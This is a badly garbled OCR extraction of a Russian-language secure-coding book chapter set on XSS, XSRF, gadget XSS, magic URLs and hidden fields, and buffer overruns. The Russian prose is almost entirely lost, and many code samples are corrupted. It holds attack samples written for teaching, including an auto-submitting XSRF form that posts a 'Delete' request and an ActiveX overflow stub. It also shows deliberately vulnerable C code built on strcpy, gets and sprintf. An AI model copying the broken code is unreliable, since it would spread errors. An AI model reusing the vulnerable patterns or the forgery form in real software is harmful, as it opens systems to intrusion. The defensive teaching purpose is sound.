print "Hello, " . HTML::Entities::encode($name);
} else {
print "Go away! ";

}
( )
:
sub html_encode
my Sin = shift;
$in =~ s/&/&amp;/g;
$in =~ s/</&lt:/g:
$in =~ s/>/&gt;/g;
$in =~ s/V7&quot;/g;
Sin =~ s/#/&#35;/g;
Sin =~ s/\(/&#40;/g;
Sin =~ s/\)/&#41;/g;
Sin =~ s/\7&apos;/g;
Sin =~ s/\%/&#37:/g;
Sin =~ s/\+/&#43;/g;
Sin =~ s/\-/&#45;/g:
return Sin;

HTML: : Entities,

(XS R F)

83

mod_perl (XSS)
, ,
,
.
#!/usr/bin/perl
use Apache::Uti1:
use Apache::Request:
use strict:
my $apr = Apache::Request->new(Apache->request):
my $name = $apr->param('name'):
$apr->content_type('text/html);
$apr->send_http_header:
if ($name =~ r\w{5.25}$/) {
Sapr^printCHello. " . Apache::Util::html_encode($name)):
} else {
Sapr->print(MGo away! "):

(XSRF)
XSRF, :
1) - -;
cookie;
2) - .
POST GET.
- ,
.
, XSRF ,
, . , XSS
XSRF.

-
- .
- cookie, ( , )
cookie . ,
- MAC (Message Authentication Code);
-.
C# ,
( ) MAC .
.
static string GetTimeOut(int mins) {
DateTime timeout = DateTime.Now.AddMinutes(mins):
HMACSHA256 hmac = new HMACSHA256(_key):
String mac = Convert.ToBase64String(

84

2 , - (XSS, XSRF )

hmac.ComputeHash(
Encodi ng.UTF8.GetBytes(ti meout.ToStri ng())));
return "Timeout^1 + timeout.ToUniversaITime() + "; " + mac;

}
: UTC,
; . ,
MAC _key ,
.

POST/GET
XSRF
POST HTML, GET,
. POST
, RFC 2616 W3C ,
GET ,
, .
, (, ,
, ), POST.
POST GET ,
<img src=xxx>, POST .

HTML JavaScript:
<form action="http://example.com/delete.php method="post" name=nuke">
<input type="hidden" name="choice" value="Delete" />
</form>
<script>
document.nuke.submi t():
</script>

Ruby on Rails (XSRF)


Ruby on Rails HTTP:
class ApplicationController < ActionController::Base
protect_from_forgery :secret => generate_secret
end

ASP.NET Web Forms (XSRF)


,
XSRF. :
, . ,
- ,
public partial class

Default : System.Web.UI.Page

protected RNGCryptoServiceProvider _rng =


new RNGCryptoServiceProviderO;

(XS R F)

85

protected void Page_Load(object sender. EventArgs e)

{
lblUpdate.Text = "Your order cannot be placed.";
if (Request["item"] != null && Request["qty"] != null)

{
if (Request["secToken"] != null &&
Session["secToken"] != null &&
Session["secToken"] == Request["secToken"])

{
// ..
lblUpdate.Text = "Thank you for your order.";

}
}
byte[] b = new byte[32];
_rng.GetBytes(b);
secToken.Value = Convert.ToBase64String(b);
Session["secToken"] = secToken.Value;

HTML
HTML
, , <i> <>
. C# ,
, , . :

:
.
.
.
, <> ,
$=_, ,
, .
string = Regex.Replace(s,
&11 ;(/?)(i |b ||em|h\d{1})&gt:".

<$1$2>\
RegexOptions.IgnoreCase);

, ,
< >
.

86

2 , - (XSS, XSRF )


-
, XSS .

Cookie HttpOnly
, cookie,
, document.
cookie. ,
. Microsoft Internet Explorer Firefox
HttpOnly, a Apple Safari .

.
Visual Basic ASP.NET :
Dim cookie As New HttpCookieCLastVisit", DateTime.Now.ToStringO)
cookie.HttpOnly = True
cookie.Name = "Stuff"
Response.AppendCook ie(cook ie)

To ASP.NET #:
HttpCookie cookie = new HttpCookie(LastVisit.
DateT ime.Now.ToSt ri ng());
cookie.HttpOnly = true;
cookie.Name = "MyHttpOnlyCookie";
cooki e .AppendCooki e(myHttpOnlyCooki e);

JSP :
Cookie = new CookieC'MyCookie"."value; HttpOnly");
response.addCookie(c);

PH P 5.2.0 :
sessi on.cooki e_httponly=l

setcookieCmyCookie". $data. 0. "/". "www.example.com". 1. 1);


<img src=someinput> <img src="someinput">
, HTML.

ASP.NET ViewStateUserKey
ViewStateUserKey XSRF.
(viewstate)
, .
(, )
Page_Init :

87

protected override Onlnit(EventArgs e) {


base.Onlnit(e);
byte[] b = new byte[31];
new RNGCryptoServiceProvider().GetBytes(b);
ViewStateUserKey = Convert.ToBase64String(b);

}
ViewStateUserKey .

.

ASP.NET ValidateRequest
ASP.NET,
ValidateRequest. ,
. ValidateRequest
,
,
XSS. ASP.NET ,
:
Exception Details: System.Web.HttpRequestValidationException: A potentially
dangerous Request.Form value was detected from the client
(txtName="<scripUOO>alert(l);...").

ASP.NET Security Runtime Engine


Microsoft Security Runtime Engine,
ASP.NET (, System.Web.
UI.WebControl s .Label) .
http://blogs.msdn.com/securitytools.

OWASP CSRFGuard
- Java ,
OWASP CSRFGuard.

Apache::TaintRequest
Mod_perl Apache Apache: :TaintRequest,
,
.
.

UrIScan
Microsoft UrIScan Internet Information Server 5.0
-.

88

2 , - (XSS, XSR F )

---------------------------------------------------------------------------------------------------- IIS (Internet Information Server) 6.0 UrIScan ,


IIS .
.


(character set) -
, .
- -,
-:
<meta http-equiv="Content Type" content="text/html; charset=IS0-8859-l" />

ISO-8859-1, Latin-1,
191 .
ASP.NET -:
<system.web>
<globali zati on
requestEncodi ng="i so-8859-1"
responseEncodi ng="i so-8859-1"/>
</system.web>

ASPNET

<%$ Page CodePage="28591


JSP - :
<%@ page contentType=,,text/html; charset=iso-8859-r*>


Reporting Vulnerabilities Is for the Brave: http://www.cerias.purdue.edu/site/
blog/post/
reporting-vulnerabilities-is-for-the-brave/
Common Weakness Enumeration (CW E) Software Assurance Metrics and Tool
Evaluation: http://cwe.mitre.org
2009 CWE/SANS Top 25 Most Dangerous Programming Errors: http://ewe.mitre.
' org/top25
Divide and ConquerHTTP Response Splitting, Web Cache Poisoning Attacks,
and Related Topics: www.securityfocus.com/archive/1/356293
Ruby on Rails Security Project: http://www.rorsecurity.info/
Writing Secure Code, Second Edition by Michael Howard and David C. LeBlanc
(Microsoft Press, 2002), Chapter 13, Web-Specific Input Issues.
Mitigating Cross-Site Scripting with HTTP-Only Cookies: http://msdn.microsofi
com/library/default, asp ?url=/workshop/author/ dhtml/httponly _cookies. asp

89

Request ValidationPreventing Script Attacks: www.asp.net/faq/requestvalidation.


aspx
modjperl Apache::TaintRequest: www.modperlcookbook.org/code.html
UrIScan Security Tool: www.microsoft.com/technet/security/tools/urlscan.mspx
Prevent a Cross-Site Scripting Attack by Anand K. Sharma: www-106.ibm.com/
developerworks/library/wa -secxss/?ca=dgr-lnxw93PreventXSS
Steal Browser History Without JavaScript: http://ha.ckers.org/blog/20070228/
steal-browser-history-without-javascript/
Preventing Cross-Site Scripting A ttacks by Paul Linder: www.perl.com/
pub/a/2002/0 2 /2 0 /css.html
CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web
Requests: www.cert.org/advisories/CA-2000-02.html
The Open Web Application Security Project (OWASP): www.owasp.org
HTML Code Injection and Cross-Site Scripting by Gunter Ollmann: www.technicalinfo.net/papers/CSS.html
Building Secure ASPNET Pages and Controls: http://msdn.microsoft.com/library/
default.asp?url=/library/en-us/dnnetsec/html/ Ch 10.asp
Understanding Malicious Content Mitigation for Web Developers: www.cert.org/
tech_tips/malicious_code _mitigation.html
How to Prevent Cross-Site Scripting Security Issues in CGI or ISAPI: h ttp ://
support.microsoft.com/default.aspx?scid=kb%3BEN- US%3BQ253165
How Do I: Prevent a Cross Site Request Forgery Security Flaw in an ASPNET Ap
plication? http://msdn.microsoft.com/en-us/security/bb977433.aspx
Cross-Site Request Forgeries: Exploitation and Prevention by Zeller and Felton:
http://www.freedom-to-tinker.com/sites/default/files/csrfpdf
Microsoft Anti-Cross Site Scripting Library VI.5: Protecting the Contoso Bookmark
Page: http://msdn.microsoft.com/en-us/library/aa973813.aspx
AntiXSS for Java: http:// www.gdssecurity.com/l/b /2007/1 2 /2 9 /antixss-for-java/
XSS (Cross Site Scripting) Cheat Sheet Esp: for filter evasion: http://ha.ckers.org/
xss.html
WebGoat and WebScarab: http://www.0 wasp.0 rg/index.php/Categ0 ry:OWASP_Pr0ject
Web Security Testing Cookbook by Paco Hope and Ben Walther (O Reilly, 2008).

, Web,
.
,
.
cookie HttpOnly.

90

2 , - (XSS, XSR F )

- ,
XSRF.
-
, XSS .
XSS
.
, Web,
.
.
GET.
cookie.
, SSL/TLS - .
GET , .
.

,
- (XSS)


(
, Web) 0 ( DOM). :
, ;
, .
XSS 0 :
.
HTML .
-,
- (, HTML, JavaScript XML).
Apple, Nokia Yahoo! (
Yahoo! Widgets Konfabulator); Microsoft Google
- . Linux
: gDesklets GNOME, KDE

92

3 , - (XSS)

Dashboard SuperKaramba Screenlets.


, ,
.
W3C , ZIP
XML ; ,
Apple. - .
:
.
RSS.
.
.
.
.

.
-.
.
.
IM.

, .
,
. .
.
, , ,
, ,
! Microsoft,
Yahoo!, Google Apple Windows, Mac OS X
iPhone, Google, Yahoo! Windows Live.
, .
Windows Vista . Windows 7
- , ,
. Mac OS X
Dashboard.
,
, ; , XSS 1.
, : -
(, Response.Write), HTML
HTML DOM (Document Object Model)
, document.location document.write.

93

CWE
CWE ( CWE/SANS
<25 )
XSS-0:
CWE-79: - (
[XSS]).
CWE-94: .


, ,
, . ,
JavaScript, Ruby Python. HTML
HTML JavaScript,
DOM.

DOM XSS, XSS 0,


DOM .
HTML , (,
document. innerHTML)
:
va 1ists=document.body.all.tags(A ');
for(var i=0;i<lists.length;i++)
{1i sts [i ] .href ="http ://www.example.com";}

DOM -
<>, http://www.example.com.
,
URL;
, ,
.
, ;
DOM. ,
HTML QuickTime
Flash .
(drive-by) -,
- , .
, , ,
.
.
, 86,

94

3 , - (XSS)

,
.
,
Apple:
Mac OS X
HTML, CSS JavaScript
. , .
Mac OS X.
UNIX
UNIX,
sh, tcsh, bash, tel, Perl Ruby, Apple
Script. ,
.
, Apple;
,
. :
Windows
Google

Yahoo! Widgets

gDesklets

System.Si debar.*.

framework.system.*.

fi 1esystem. *

system.*.

System.

Nokia Systemlnfo.

Apple MAC OS X wi dget.system.

,
XSS !


,
,
Wi-Fi, . ,
. ,
Microsoft Internet Explorer ,
,
. ,
, ,
.
, XMLHttpRequest,
AJAX, HTTP,
; ,
.
.

95

, ,
, .
,
Java
Script, .

JavaScript HTML
JavaScript HTML,
- .
,
.
, ,
.
(
XML) innerHTML:
function GetData(url){
if (XMLHttpRequest){
var xhr = new XMLHttpRequestO;
}else{
var xhr = new ActiveXObject("MSXML2.XMLHTTP.3.0");

}
xhr.open("GET". url. true):
xhr.onreadystatechange = function(){
if (xhr.readyState == 4 && xhr.status == 200) {
if (xhr.responseXML){
xml Doc = xhr.responseXML:
results.innerHTML = xml Doc
.fi rstChiId
.firstChiId
.getElementsByTagName('item')[0]
.chi 1dNodes[0]
.childNodes[0]
.nodeValue;

}
}
}
xhr.send(null):


XSS 0 HTML, ,
:
(
Web), ...
.

96

3 , - (XSS)


JavaScript,
JavaScript
.
; -
.
:
document.url
document.location
Web.Network.createRequest
XMLHttpRequest

JavaScript XMLHttpRequest
:
var req = new XMLHttpRequest ;

var req = new ActiveXObject(MMicrosoft.XMLHTTPn);

HTML ,
.

*.innerHtml
*.html
document.write
*.insertAdjacentHTML
eval()
<object>
System.Sidebar.*, System.Sidebar.Execute (Windows)
filesystem.* system* (Yahoo!)
framework.system (Google)
widget.* (Nokia Apple), widget.system. (Apple)
Systemlnfo (Nokia)


,
XSS, -,
, , ,
XSS 0. XSS 0
, XSS

97

, ,
. Burp Proxy (portswigger.net).
,
.

XSS
CVE (Common Vulnerabilities and Exposures) (http://eve.mitre.
'/

Microsoft ISA Server XSS CVE-2003-0526


Microsoft Microsoft ISA Server
MS03-028. XSS 0 HTML, vibix , 500 404.
, , DocLIRL
, document .write. !
<SCRIPT>
jnction Homepage(){
DocURL = document.URL;
protocol Index=DocllRL.indexOf (": //". 4);
serverIndex=DocURL.index0f(,7".protocol Index + 3);
Begi nURL=DocURL.indexOf("#".1) + 1:
urlresult=DocURL.substri ng(Begi nURL,serverIndex);
displayresult=DocllRL.substring(protocolIndex + 3 .serverlndex);
document.write(<A HREF=' +
urlresult + '">' +
displayresult + ,,</a>");
</SCRIPT>

Windows Vista Sidebar CVE-2007-3033 CVE-2007-3032


MS07-048 Microsoft XSS
Windows Vista.
RSS:
/////////////////////////////////////////////////////////////////////
/

/////////////////////////////////////////////////////////////////////
^unction setNextViewItemsO

g_viewElements.FeedItems[i].innerHtml = feedltemName;

feedltemName ;
Web, DOM . feedltemName
.

98

3 , - (XSS)

Yahoo! Instant Messenger ActiveX Control CVE-2007-4515


, : XSS? ...
!
XSS, XSS,
(
, ActiveX - Yahoo!). , XSS
.

Windows Vista (
, !)
( feedltemName), .
<object id=webcam"
classid="CLSID:E504EE6E-47C6-11D5-B8AB-00D0B78F3D48" >
</object>
<script>
webcam.TargetName="Buffer overrun exploit code goes here":
</script>

?
, ,
, .


; ,
! , , ,
, , -
.

; , innerHTML, innerText?
.


-
. , :
,
! , ,
. ,
. JavaScript ,

. -:
Yahoo! Finance, ;
. , - : , -
Yahoo!, .

99

, , Yahoo!, ,
,
Yahoo!, HTTP
. , -
, DNS Wi-Fi
.
SSL/TLS;
, 22 23.
. MAX_TICKER_LEN = 6;
. MAX_RESPONSE_LEN = 64;
'unction getStocklnfo(ticker) {
if (ticker.length > MAX_TICKER_LEN)
return "Invalid";
xhr = new XMLHttpRequestO;
xhr.open("GET".
"http://download.fi nance.yahoo.com/d/?s="+ticker+"&f=sl1",
false);
xhr.sendO;
if (xhr.readyState == 4) {
if (xhr.statusText == "OK") {
var response = xhr.responseText;
if (response.length <= MAX_RESPONSE_LEN) {
return response;

}
}
}
return "Invalid!";

,
. , ,
, , A-Za-z, ,
1 18 .
~jnction isValidStocklnfo(stock) {
var re = r[A-Z0-9\.\.\M\s]{1.18}$/ig;
return re.test(stock);


(
) .
,
innerHTML innerText.
- -

100

3 , - (XSS)

, . ,
, innerHTML,
innerText?
HTML DOM
, insertAdjacentHTML. HTML
createElement, , DOM appendChild insertBefore, :
var oAnchor = document.createElement("");
oAnchor.href = inputUrl;
oAnchor.innerText = "Click Here!;
document.body.appendChi1d(oAnchor);


,
HTML JavaScript. , Windows Presentation Founda
tion, Adobe Flash Microsoft Silverlight,
.
, SSL/TLS
(, HTTPS HTTP)
.


XSS Archive: http://wwwjcssed.com/ archive/special= 1
2009 CWE/SANS Top 25 Most Dangerous Programming Errors: http://ewe.mitre.
org/top25
W3C Widgets: l.Od http://www.w3.org/2008/webapps/wiki/Main_Page
* The XMLHttpRequest Object: http://www.w3.org/TR/XMLHttpRequest/
Apple Gives Identity Thieves a Way In: http://www.boston.com/business/personaltech/articles/2 0 0 5 /0 5 /1 6 /apple_gives_identity_thieves_a_w ay _in?pg=fu ll
Developing Dashboard Widgets: http://developer.apple.com/macosx/dashboard.html
Konfabulator Tools and Documentation: http://widgets.yahoo.com/tools/
Inspect Your Gadget by Michael Howard and David Ross: http://msdn.microsofi.
com/en-us/ library/bb498012.aspx

.
, URL.

101

, -
.
eval (),
.
SSL/TLS
.

URL,
cookie


: - ,
! ,
. :
,
(,
Perl). .
URL:
-
URL.
,
. URL
(
(credentials)). ,

103

,
, .

CWE
CWE , :
CWE-642: .
CWE-472: -
.


,
; , , ASP (Active Server Pages), #, VB.NET, ASPNET,
J2EE (JSP, Servlets), Perl, Ruby, Python Common Gateway Interface (CGI),
C++.

.
.

URL
URL, URL-,
( ,
).
URL-:

Tttp://www.exampl .com?i d=TXkkZWNyZStwQSQkdzByRA==


, id? , base64;
ASCII- =.
base64, My$ecre+pA$$wOrD.
URL- , base64!
, .
C# ,
base64:
string s = "<some string>";
string si = Convert.ToBase64String(UTF8Encoding.UTF8.GetBytes(s));
string s2 = UTF8Encoding.UTF8.GetString(Convert.FromBase64String(sl)):
, , , URL- (
HTTP, ) ,
.

104

4 URL, cookie

-. URL
, .
, ,
. ,
.

cookie
cookie
, ,
cookie. ,
cookie 1000034 1000035,
cookie 1000033 . SSL,
!
: ,
.
.
,
(, , ),
URL HTTP, cookie.
, ,
.
, .


-
, , (1) , (2)
.
, , ,
. ,
Perl!
,
.


- ,
.


:
, , - cookie,
HTTP, URL.

105

,
.
.


URL, -
.
(,
,
, ).

ASP.NET

, *.text
*.value

Ruby

ActionController::Request params

Python

Http Request Django, req*


mod_python. Python
-;

ASP

Request

PHP

SREQUEST, $_GET, $_POST $_SERVER

PHP 3.0

$HTTP_

CGI/Perl

param() CGI

mod_perl

Apache:: Request

ISAPr(C/C++)

EXTENSION_CONTROL_
BLOCK (, lpszQueryString)
(, GetServerVariable or ReadClient)

ISAPI (Microsoft Founda CHttpServer CHttpServerFilter


tion Classes)
CHttpServerContext
JSP (Java Server Pages)

get Request request. Get Parameter

.
- HTML,
:

type=HIDDEN
, hidden .
, #,
, :
Regex = new
Regex(ntype\\s*=\\s*['\"]?hidden['\"]? .RegexOptions.IgnoreCase);
bool isHidden = r.IsMatch(stringToTest):

106

4 U R L , cookie

Perl:
my SisHidden = /type\s*=\s*[,\"]?hidden[,\ ,,] ? / i ;
,
, .


,
,
- . , ,
TamperlE (www.bayden.com/Othe) Web Developer (www.chrispederick.com/
work/firefox/webdeveloper), .
.
Fiddler (www.fiddler2.com/fiddler2/ ),
(Eric Lawrence), ;
Internet Explorer, Fiddler ,
Inspectors, WebForms (. 4.1).

' : .
*
93
& 94
*
*
97
9
99
a I
@101
3103
j 104

__

Sioe
d ill

Sll2

200
200
200
200

/ A lt a i
~
i
CONECT .*.:43
c o t t a rtorage.mesh.com:443
COWECT mal.n*ro$oft.com:443
COfWECT !..:443
COWCCT mal.Ricrosoft.com:443
COWJECT rtorage.mejh.com:443
c o w ec t storage.mesh.:443
CONNECT storage.mesh.com.443
CONNECT storage.mesh.com:443
datafoed.weatherb... /GettM.ajpxTRequestTy. .

200
200
200
200

HTTP
HTTP
HTTP

HTTP
HTTP
HTTP
HTTP

HTTP

200
200
200
200
200
200
200
200
200
200
200
200
200

HTTP
daUfeed.weatherb... /GeBM..px?ftequestTy...
HTTP
datrfaod.weatherb... /GeDn..a*7RequestTy...
HTTPradarimg.wMtherb... flmagas/AWSladartf/bug...
HTTPwwc.iretacam.com /Iretacanimg/APfm/APF...
HTTP
datafeed.weatherb... /imeges/Forecast/cond02...
CONNECT storage,mesh,com:443
HTTP
HTTP
COfWECT storage .mesh.com:443
HTTP
COA*CT jtorage.meh.com:443
HTTP
COWJECT eaou**.mh.com:443
HTTP
COMCCT mal.mcrosoft.com:443
C0WJECT mol.mcrojoft.com:443
http
HTTP
CONNECT 1..:443
HTTP
COf*ECT endoaxe.mesh.com:443

200
200

0
0
0

0
0
0
0
3,031

[j
II

H
U

tfw*
Re^jedTjpe
ZipCode

057-462-41 7S b e a 5 e a O M c 9
78732

QyCode
Vcc .
^ U n iT y p e
.'ilconSel
^ LanguageType
..H I T *
AppName
V'AppVeoon

447
749
8,722
39,12S
-i : Uteild
2,116
'^ Sh o w F JU S'
' M Show fJIrtl
0
0
0
0 <'

0 r'.

'
.

^fzCode....

VbaSidebai_W eatt^ugUc^/eatheGadget

b0S92333-7b37-432b-8441 -56d2eeb1 9 7

ill

. 4.1. Fiddler -

Fiddler -,
. :
Fiddler.
Rules.
Customize Rules.
OnBeforeResponse():

107

i f (oSession.oRe spo nse .he ad ers .E xis tsA ndC on tai ns( "Co nt en t-T yp e". "html")) {
I f
o S e s s i on .u ti lD ec od eR e sp o ns eO ;
var oBody =
System.Text.Encodi ng.UTF8.GetStri ng(oSessi on.responseBodyBytes);
if (oBody.search(/<input.*hidden.*>/gi)>-l) {
oSession["ui-bold"] = "true";
oSession["ui-color"] = "red";
Fi d d l e r O b j e c t . piaySound("Noti f y ");

}
-, , Web
Sessions , a Fiddler .

CVE (Common Vulnerabilities


and Exposures) (http://cve.mitre.org/ ).

CVE-2005-1784
Host Controller;
- useiprofile,asp
,
emailaddress.


URL ,
:
,
,
,
.
, .


,
, ,
.
. SSL
(Secure Sockets Layer), TLS (Transport Layer Security), IPSec (Internet Protocol
Security) . ,

108

4 URL, cookie


cookie, .
, ,
.


,
. ,
.
, C#
HTTP :

SHA256Managed s = new SHA256Managed();


byte [] h = s.ComputeHash(UTF8Encoding.UTF8.GetBytes(uid + " + pwd));
h = s.ComputeHash(h):
string b64 = Convert.ToBase64String(h); // base64
JavaScript ( HTML ASP) CAPICOM
Windows:

//
var oHash = new ActiveXObjectC'CAPICOM.HashedData");
oHash.Algorithm = 0:
oHash.Hash(uid +
+ pwd):
oHash.Hash(oHash.Value);
var b64 = oHash.Value: //
Perl :

use Digest::SHA1 qw(shal shal_base64);


my Ss = $uid .
. $pwd;
my $b64 = shal_base64(shal($s)): # base64
: -
,
(length extension attacks).
; ,
, :

Result = H(datal. H(data2))

Result = H(H(datal CONCAT data2))


21,
. ,
, ! ,
xE/fl/XKonG+/XFyq+Pg4FXjo7g=
URL-
. - .
!
!
, SSL, TLS IPSec.

109


(
, SSL/TLS),
,
. , ,
,
. SSL/TLS.
: -
, .
, 7625. URL
cookie.
. 7627.
, ,
- .
( SSL/TLS!)
7626.
.
,
JavaScript CAPICOM:
var oRNG = new ActiveXObject("CAPICOM.U tilities");
var rng = oRNG.GetRandom(32,0);
----------------------------------------------------------------------------------------------------CAPICOM CryptGenRandom Windows.

To PH P Linux UNIX (,
/dev/random /dev/urandom)\

7 @ fopen
Shrng = (afopenCVdev/uranaom" ."");
if (Shrng) {
Srng = base64_encode(fread($hrng,32));
fclose($hrng);

}
Java:

try {
SecureRandom rng = SecureRandom.getlnstancerSHAlPRNG");
byte b[] = new byte[32];
rng.nextBytes(b):
} catch(NoSuchAlgorithmException e) {
//

}
VB.Net:

Dim rng As New RNGCryptoServiceProvider()


Dim b(32) As Byte
rng.GetBytes(b)

110

4 URL, cookie

---------------------------------------------------------------------------------------------------- SecureRandom Java .


-,
, , .


: ,
! ,

, SSL/TLS. , .


,
,
.
, MAC ( , Message
Authentication Code); MAC, ,
MAC, MAC , ,
. MAC -,
. MAC
(keyed-Hash Message Authentication Code),
. ,
( ,
) ,
, . C# :

HMACSHA256 hmac = new HMACSHA256(key);


byte[] data = UTF8Encoding.UTF8.GetBytes(formdata);
string result = Convert.ToBase64String(hmac.ComputeHash(data)):
Perl:

use strict;
use Digest::HMAC_SHA1;
my $hmac = Digest::HMAC_SHAl->new($key);
$hmac->add($formdata);
my $result = $hmac->b64digest;
PH P , PEAR ( Exten
sion and Application). ( ).
:

<INPUT TYPE = HIDDEN NAME = "HMAC" VALUE = "X81bKBNG9cVVeF9+9rtB7ewRMbs">


,
, ;
.
-. ,
-, ,
, .

111


Common Weakness Enumeration: http://cz 0 e.mitre.org/
W3C HTML Hidden Field specification: www.w3.org/TR/REC-html32#fields
Practical Cryptography by Niels Ferguson and Bruce Schneier (Wiley, 1995), 6.3
Weaknesses of Hash Functions.
PEAR HMAC: http://pear.php.net/package/Crypt_HMAC
Hold Your Sessions: An Attack on Java Session-Id Generation by Zvi Gutterman
and Dahlia Malkhi: http://research.microsoft.com/~dalia/pubs/GM05.pdf

, Web, cookie,
.
,
.
HTTP HTML (URL, cookie, ),
(SSL, TLS IPSec)
.
( , ) -,

, , SSL .
HTTP referer [sic] .
.
,
; .
, ,
.


.

,
.
, C++.
,
,
, .
,
6. ,

. ,
, .

C++. ,
C++ , ,
, , 8,
C++.

116

,
,
(root,
),
,
( ).
, .
-
finger; finger- . (
). ,
,
1988 ,
.
,
,
,

7. , ,
. Heap Feng Shui in JavaScript
(Alexander Sotirov) ,
,
, .
, - ,
,
, , ,
C/C++, .
, ,

(off-by-one overflow). ,
, , , ,
.

CWE
, CW E
:
CW E-119: .
,
, :
W E -121: .
CWE-122: .
CWE-123: --.
CWE-124: .

117

CWE-125: .
CWE-128: .
CWE-129: .
CWE-131: .
CWE-193: .
CWE-466: .
CWE-120:
( ).


;
C++.
, .
C++ , ,
, STL (Standard Template
Library) ,
,
, .
C++
. ,
C++ .

.
, Java, C# Visual Basic, ,
, .
- , ,
, .
C /C + +
, C /C ++.
, .

,
C/C++.
C#
;
, /++,
, C/C++.
, ,
.
.
,
.

118

.

: , . -
86
. ,
.
( ).
, - ,
. ,
,
.
;
.

? ( )
64- Intel Itanium,
. , -, ,
, -, 64
.

? ,
.

, (,
!), .
C++,
.
, - IIS (Internet Information Server) 6.0
C++ string ,
, ,
. ,
IIS 6.0
,
-.
, C++.
:

#include <stdio.h>
void DontDoThis(char* input)
{

char buf[16]:
strcpy(buf, input);
printfC^sXn". buf);

119

int main(int argc. char* argv[])


{

// .
// , strcpy?
DontDoThi s(a rgv[1]):
return 0;

, .

.
(inlining) , DontDoThi s,
, .
strcpy:

0x0012FEC0
0x0012FEC4
0x0012FEC8
0x0012FECC
0x0012FED0
0x0012FED4
0x0012FED8
0x0012FEDC
OXOOI2 FEEO
0x0012FEE4
0x0012FEE8

8
c4
dO
04
el

fe
18
fe
80
02

12
32
12
40
3f

00
00
00
00
4f

66 00 00 00

e4
3f
c4
cO
10

fe
10
18
ff
13

12
40
32
12
40

00
00
00
00
00

[.. <- buf


.2. <- input
0[).. <- buf
.[] 0.

.?0
f ...
|..
?.(P
A.2
Ay.

<<<<-

buf
EBP

DontDoThis
, mainO

, .
32- Intel,
. , ,
3fl04000,
0x0040103f.
, .
EBP (Extended Base Pointer). EBP
,
EBP . 0x0012fe00
( ),
, ,
.
,
.
, ,
. :
( (shell code),
)
. ,
, ,
. ,
.

120


.
- ,
.
,
Stackguard (Crispin Cowan), IBM ProPolice
/G S Microsoft.
,
. !
C++ ,
,
.
, (,
X Window System Microsoft Windows),

.
, ,
.
/ .
, , ,
, ,
,
.
. www.metasploit.
, ,
.
, ,
, .
, , (
) . ,
- ,
. , Microsoft,
, nul 1 ( null ),
,
.
(Damien Hasse) http://msdn.microsoft.com/en-us/
magazine/ 16331 l.aspx.
: , , !
,
.
, .
,
20 ( -) ,
.
, .

121


. .
:
. ,
,
.
,
, ,
, .
,
.


.
.
, Reliable Windows Heap Exploits,
(M atthew shok
Conover & Oded Horovitz), http://cansecwest.com/csw04/csw04Oded+Connover.ppt.
,
, .

, .


,
,
( ,
).

64-
64
, 64
(32-) 86?
. ,
. -,
86 8 (, ebx, , edx, ebp,
esp, esi, edi), 64 16 .
,
64 86
.
64 ,
.
( , RISC,

122

32-64 , ia64 128 )


, , ,
, ,
,
.
-, 64 ,
NX (No eXecute), 64- . ,
,
. NX ,
,
, .
, C/C++,
: #, Java
.
, 64
, ,
.

C/C++
C/C++.
:

char buf[20]:
gets(buf):
gets stdin
fgets.
. , Blaster -
, strcpy,
, -:

while (*pwszTemp != L ' W )


*pwszServerName++ = *pwszTemp++:

strcpy (. ). :

char buf[20]:
char prefix[] = "http://":
strcpy(buf. prefix);
strncat(buf. path, sizeof(buf)):
?

strncat.
, .
:

char buf[_];
sprintf(buf. "%s - fcd\n". path, errno):

123

sprintf ,
. , - , sprintf
, Microsoft Windows
.
MS04-0111 (
).

:har buf[32];
strncpy(buf. data, strlen(data));
? ,
!
- ,
. ASCII-
, (
,
), ,

. :

_snwprintf(wbuf. sizeof(wbuf).

"%s\n".

input);

, :

bool CopyStructsUnputFile* plnFile. unsigned long count)


i

unsigned long i;
m_pStructs = new Structs[count];
for(i = 0: i < count; i++)
{
if(!ReadFromFile(pInFile. &(m_pStructs[i])))
break;

}
? C++ new[]
:

ptr = mal1(sizeof(type) * count);


count , ,
.
,
. C++ Microsoft Visual Studio
2005 ,
. ,
.
: ,
.
7.

124

#define MAX_BUF 256


void BadCode(char* input)
{

short 1en;
char buf[MAX_BUF];
len = strlen(input);
// , strcpy
ifden < MAX_BUF)
strcpy(buf. input);

}
, ?
. ,
7, ,
signed int. strlen size t.
32- 64- , size t short
32 1 ;
int , MAX_BUF.
.
,
64 . : len
. , size t
, .
,
-. :

const size_t MAXJ3UF = 256;


void LessBadCode(char* input)
{

size_t len;
char buf[MAX_BUF];
len = strnlen(input. MAX_BUF);
// , strcpy
ifden < MAX BUF)
strcpy(buf. input);


.

, ,

7.

125

,
, .

- .

. ,
, ,
.
,
.
, , ,
.


, :
, .
.
.

.


,
.
. ,
, ,
. ,
,
( 1/10 1/100
)
.
.
strcpy, strcat, sprintf ,
. ,
( ) ,
- , strcpy , -.
.
, ( 3).
,
.

126


. ,
.



(fuzz testing),
.
. ,
.
, ,
260 , 256-
. , .
,
. , ,
2, 2 - 1.
, . ,
;
+1 = 0 .

. ,
.
,
.

.
,
:

assert(len < _);


if(len >= _)
{

assert(false);
return false;

}

, Verifier Windows (
);
.
. Improve Security with A Layer of H urt SDL
(Michael Howard) http://blogs.msdn.com/sdl/archive/2008/07/31

127

mprove-security-with-a-layer-of-hurt.aspx. ,
, ,
Office 2007.
, .
, ,
, . :

. ,
,
.
, .

,
CVE (http://cve.mitre.org),
. :
( 2005 ) CVE 1734 ,
.
; ,
, .
CERT,
, 107
.

CVE-1999-0042
IMAP POP,
.

CVE CERT -1997-09;


,
POP IMAP .
,
, root.
.
, ,
Seattle Labs SLMail 2.5 (. www.winnetmag.com/Article/ArticleID/9223/9223.html).

CVE-2000-0389-CVE-2000-0392
krb rd req Kerberos 4 5
root.

128

krb425_conv_principal Kerberos 5
root.
krshd Kerberos 5
root.
ksu Kerberos 5
root.

Kerberos, MIT,
CERT -2000-06 (www.cert.org/advisories/-200006.html).
, : (strcat), 2000 .

CVE-2002-0842, CVE-2003-0095, CAN-2003 0096


mod dav
(, Oracle9i Application Server 9.0.1
:
URI, 502 Bad Gateway.
ORACLE.EXE OracleDatabase Server 9i, 8i, 8.1
8 .0 .6 d i ,
, (
LOADPSP).
Oracle 9i Database Release 2, Release L
8i, 8.1.7 8.0.6
(1) T0_TIMESTAF_"L
(2) TZ 0FFSET, (3) *
DIRECTORY BFILENAME.

CERT -2003-0:
(www.cert.org/advisories/CA-2003-05.html).
, (David Litchfield) :
Next Generation Security Software Ltd. , , ,
.

AN-2003-0352
DCOM RPC Microsoft WindowsNT
